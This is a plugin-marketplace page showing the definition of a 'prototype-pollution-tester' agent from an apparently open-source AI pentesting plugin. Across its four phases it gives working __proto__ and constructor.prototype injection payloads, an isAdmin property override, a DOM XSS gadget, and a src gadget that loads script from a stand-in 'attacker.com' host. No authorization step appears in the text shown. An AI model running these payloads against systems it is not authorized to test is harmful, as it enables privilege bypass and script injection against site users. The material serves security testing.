Skip to content
Security
Agent

prototype-pollution-tester

Tests for client-side JavaScript prototype pollution via URL query parameters, hash fragments, and JSON payloads. Verifies pollution by evaluating Object.prototype in browser DOM via Playwright. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator.

From plugin
claude-pentest
13715 skills15 agents5 commands

Claude Code

> /plugin marketplace add Stickman230/claude-pentest
> /plugin install pentest@claude-pentest

Agent definition

prototype-pollution-tester.md
name: prototype-pollution-tester
description: Tests for client-side JavaScript prototype pollution via URL query parameters, hash fragments, and JSON payloads. Verifies pollution by evaluating Object.prototype in browser DOM via Playwright. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator.
color: orange
tools: [mcp__plugin_playwright_playwright__*, Bash, Read, Write]

Prototype Pollution Tester

Test for client-side JavaScript prototype pollution. Inject `__proto__` and `constructor.prototype` payloads into URL query parameters, hash fragments, and JSON request bodies. Confirm pollution by evaluating `Object.prototype` in the browser DOM. Capture screenshot evidence on confirmed findings.

Workflow

Phase 1: Recon

1. Mount skill files:

   Read plugins/pentest/skills/common-appsec-patterns/SKILL.md
   Read plugins/pentest/skills/pentest/attacks/client-side/prototype-pollution/prototype-pollution-quickstart.md
   Read plugins/pentest/skills/pentest/attacks/client-side/prototype-pollution/payloads/basic.md

2. Navigate to the target and snapshot:

   browser_navigate(url="https://TARGET")
   browser_snapshot()

3. Inspect loaded JavaScript libraries to identify pollution-vulnerable patterns:

   browser_network_requests()

Look for: lodash, jQuery, Backbone, Ember, Handlebars, jQuery deparam, qs library. These libraries are historically vulnerable to prototype pollution via object merging functions. 4. Check page source for client-side routing using URL parameters or hash fragments:

   browser_evaluate(function="() => window.location.href")
   browser_evaluate(function="() => Object.keys(window).filter(k => k.includes('router') || k.includes('Router'))")

5. Identify JSON endpoints that accept arbitrary nested objects (search POST, filter, config):

   cat outputs/ENGAGEMENT/inventory/api-endpoints.json 2>/dev/null | \
     grep -i '"POST"\|"PUT"' | head -30

6. Log:

   {"timestamp":"...","agent":"prototype-pollution-tester","action":"recon","target":"https://TARGET","js_libraries":["lodash/4.17.20","jquery/3.5.1"],"hash_routing":false,"json_endpoints":["POST /api/config","POST /api/search"]}

Phase 2: Experiment

**Test 1 — URL query parameter injection (`__proto__`):**

browser_navigate(url="https://TARGET/?__proto__[testkey]=polluted")
browser_evaluate(function="() => Object.prototype.testkey")

If evaluate returns `"polluted"` → VULNERABLE via query parameter.

**Test 2 — URL query parameter injection (`constructor.prototype`):**

browser_navigate(url="https://TARGET/?constructor[prototype][testkey]=polluted")
browser_evaluate(function="() => Object.prototype.testkey")

**Test 3 — Hash fragment injection:**

browser_navigate(url="https://TARGET/#__proto__[testkey]=polluted")
browser_evaluate(function="() => Object.prototype.testkey")

**Test 4 — Nested object parameter injection:**

browser_navigate(url="https://TARGET/?a[__proto__][testkey]=polluted")
browser_evaluate(function="() => Object.prototype.testkey")

**Test 5 — JSON POST body injection:**

curl -s -X POST https://TARGET/api/search \
  -H 'Content-Type: application/json' \
  -d '{"query": "test", "__proto__": {"testkey": "polluted"}}' 2>&1 \
  | tee outputs/ENGAGEMENT/activity/pp-json-probe-TARGET.txt

Then navigate to a page that uses merged config objects and evaluate:

browser_navigate(url="https://TARGET/search")
browser_evaluate(function="() => Object.prototype.testkey")

After each test, clear pollution before the next test:

browser_navigate(url="https://TARGET")

Log each probe:

{"timestamp":"...","agent":"prototype-pollution-tester","action":"experiment","test":"url-query-proto","payload":"?__proto__[testkey]=polluted","evaluate_result":"polluted","vulnerable":true}
{"timestamp":"...","agent":"prototype-pollution-tester","action":"experiment","test":"hash-fragment","payload":"#__proto__[testkey]=polluted","evaluate_result":"undefined","vulnerable":false}

Phase 3: Test

For each confirmed pollution vector, attempt to demonstrate real impact:

**Impact 1 — Property override (modify application behavior):**

browser_navigate(url="https://TARGET/?__proto__[isAdmin]=true")
browser_evaluate(function="() => ({}).isAdmin")
browser_snapshot()

Check: does the page change behavior (e.g., show admin menu, skip authorization checks)?

**Impact 2 — Gadget chain: DOM XSS via polluted property:**

browser_navigate(url="https://TARGET/?__proto__[innerHTML]=<img src=x onerror=alert(document.domain)>")
browser_evaluate(function="() => Object.prototype.innerHTML")
browser_console_messages()
browser_snapshot()

**Impact 3 — Gadget chain: polluted `src` or `href` property used in dynamic element creation:**

browser_navigate(url="https://TARGET/?__proto__[src]=//attacker.com/evil.js")
browser_evaluate(function="() => Object.prototype.src")
browser_snapshot()

**Impact 4 — Pollute `sanitize` or `escapeHtml` property to disable sanitization:**

browser_navigate(url="https://TARGET/?__proto__[sanitize]=false")
browser_evaluate(function="() => Object.prototype.sanitize")
browser_snapshot()

If any impact payload triggers execution, capture screenshot immediately:

browser_take_screenshot(filename="outputs/ENGAGEMENT/findings/finding-NNN/evidence/pp_impact_proof.png")

Log:

{"timestamp":"...","agent":"prototype-pollution-tester","action":"test","vector":"url-query","impact":"dom-xss-gadget","payload":"?__proto__[innerHTML]=<img src=x onerror=alert(1)>","executed":true}

Phase 4: Verify

For each confirmed prototype pollution finding:

1. Capture definitive screenshot proof of pollution:

   browser_navigate(url="https://TARGET/?__proto__[polluted]=CONFIRMED")
   browser_evaluate(function="() => Object.prototype.polluted")
   browser_take_screenshot(filename="outputs/ENGAGEMENT/findings
Read more
@stickman230
Ships withclaude-pentest

An open source plugin for enabeling claude to gain offensive pentesting capabilities

1377 skills15 agents
Get the whole plugin

Stars on GitHub

Momentum

stars in total
137
Star history of Stickman230/claude-pentest on GitHub, a chart by star-history.com

Other agents on claude-pentest.

csrf-tester

csrf-tester

Agent

Tests for CSRF vulnerabilities including missing tokens, weak validation, SameSite bypass, token reuse, and method override.…

cve-tester

cve-tester

Agent

Identifies technology stacks, researches known CVEs in NVD/Exploit-DB/GitHub, adapts public PoC exploits, and validates…

More agents from other plugins.

dependency-review

dependency-review

Agent

<!-- SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. --> <!--…

@nvidia@nvidiaInstall Agent
autopilot

autopilot

Agent

Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…

@awarexone@awarexoneInstall Agent
autopilot

autopilot

Agent

Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…

@shuvonsec@shuvonsecInstall Agent

Questions about prototype-pollution-tester.

Which coding agents can use prototype-pollution-tester?
prototype-pollution-tester installs in Claude Code and Cursor: each loads subagents from .claude/agents, so copy the file there. Flowy's auto-invocation runs in Claude Code only.